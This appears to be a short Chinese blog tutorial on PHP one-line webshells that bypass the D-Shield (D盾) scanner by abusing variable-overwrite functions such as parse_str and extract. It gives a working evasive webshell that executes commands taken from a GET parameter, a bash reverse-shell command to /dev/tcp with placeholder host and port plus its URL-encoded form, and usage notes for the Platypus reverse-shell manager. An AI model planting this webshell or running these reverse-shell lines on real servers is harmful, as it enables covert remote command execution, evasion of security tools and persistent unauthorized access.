php一句话-D盾绕过小技巧
0x01 变量覆盖介绍
1. 变量覆盖函数和符号
- extract()
- parse_str()
- $$
- import_request_variables()
2. 函数介绍
(1) extract()函数作用:将数组中将变量导入到当前的符号表(也就是用数组中的变量,覆盖掉原来的变量) (2) parse_str()函数作用:用于解析url得query_string,解析析字符串并注册为变量,如不管当前变量是否存在,该函数会直接覆盖掉已有变量。 (3) $$特殊符号搭配:该特殊符号的特殊搭配也会引起变量覆盖漏洞,一般出现在foreach遍历当中。 (4) import_request_variables()使用不当,开启了全局变量注册,会导致遍历覆盖漏洞。
0x02 变量覆盖绕过D盾
1. D盾绕过
<?php
$a = 1;
$b = "a=" . $_GET['a'];
parse_str($b);
print_r(`$a`);
?>
2. 反弹shell
反弹shell命令: echo “bash -i >& /dev/tcp/xxxx/xxxx 0>&1” | bash
需要进行二次URL编码: echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxxx%2Fxxxx3%200%3E%261%22%20%7C%20bash
0x03 扩展
Platypus-多会话的交互式反向 Shell 管理器介绍:
1. 工具介绍 Platypus 是一款支持多会话的交互式反向 Shell 管理器。 在实际的渗透测试中,为了解决 Netcat/Socat 等工具在文件传输、多会话管理方面的不足。该工具在多会话管理的基础上增加了在渗透测试中更加有用的功能(如:交互式 Shell、文件操作、隧道等),可以更方便灵活地对反向 Shell 会话进行管理。 2. 工具下载与使用 工具使用:https://platypus-reverse-shell.vercel.app/ 工具下载:https://github.com/WangYihang/Platypus (1)运行程序 (2)反弹shell,选择目标机器 list:列出当前在线机器。 jump:选择目标机器。 alias:设置别名。 (3)与当前机器进行交互 (4)获取当前机器的交互式 Shell 可以执行vim等交互式命令。
|